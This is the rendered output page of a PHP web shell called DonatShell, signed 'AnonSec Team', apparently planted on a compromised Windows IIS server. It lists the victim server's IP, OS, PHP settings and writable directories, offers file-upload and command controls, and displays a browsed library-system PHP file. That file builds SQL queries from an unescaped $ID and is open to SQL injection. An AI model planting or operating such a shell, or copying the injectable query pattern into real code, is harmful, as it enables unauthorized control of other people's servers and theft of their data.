DonatShell
Server IP : 180.180.241.3  /  Your IP : 216.73.216.252
Web Server : Microsoft-IIS/7.5
System : Windows NT NETWORK-NHRC 6.1 build 7601 (Windows Server 2008 R2 Standard Edition Service Pack 1) i586
User : IUSR ( 0)
PHP Version : 5.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /AppServ/www/umedia3/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /AppServ/www/umedia3/dublin.bibrating.inc.php
<?
function bibrating_recal($ID) {
	$now=time();
	$orig=tmq("select * from media where randid='$ID' ");
	$orig=tmq_fetch_array($orig);
	//printr($orig);
	$s=tmq("select * from webpage_bibrating_log where bibid='$ID' ",false);
	if (tmq_num_rows($s)==0) {
		tmq("delete from webpage_bibrating_sum where bibid='$ID' ");
	} else {
		$data=tmq("select count(id) as cc1, avg(score) as avg1 from webpage_bibrating_log where bibid='$ID' ",false);
		$data=tmq_fetch_array($data);
		$s=tmq("select * from webpage_bibrating_sum where bibid='$ID' ",false);
		if (tmq_num_rows($s)!=1) {
			tmq("delete from webpage_bibrating_sum where bibid='$ID' ");
			tmq("insert into webpage_bibrating_sum set bibid='$ID' , 
			dtcreate='$now' ,
			dtlast='$now' ,
			votescore='$data[avg1]' ,
			votecount='$data[cc1]',
			LIBSITE='$orig[LIBSITE]'
			");
		} else {
			tmq("update webpage_bibrating_sum set 
			dtlast='$now' ,
			votescore='$data[avg1]' ,
			votecount='$data[cc1]',
			LIBSITE='$orig[LIBSITE]'

			where bibid='$ID' 
			");
		}
		//update index_db
		tmq("update index_db set bibrating ='$data[avg1]' where mid='$ID' ");
	}
}
?>

Anon7 - 2022
AnonSec Team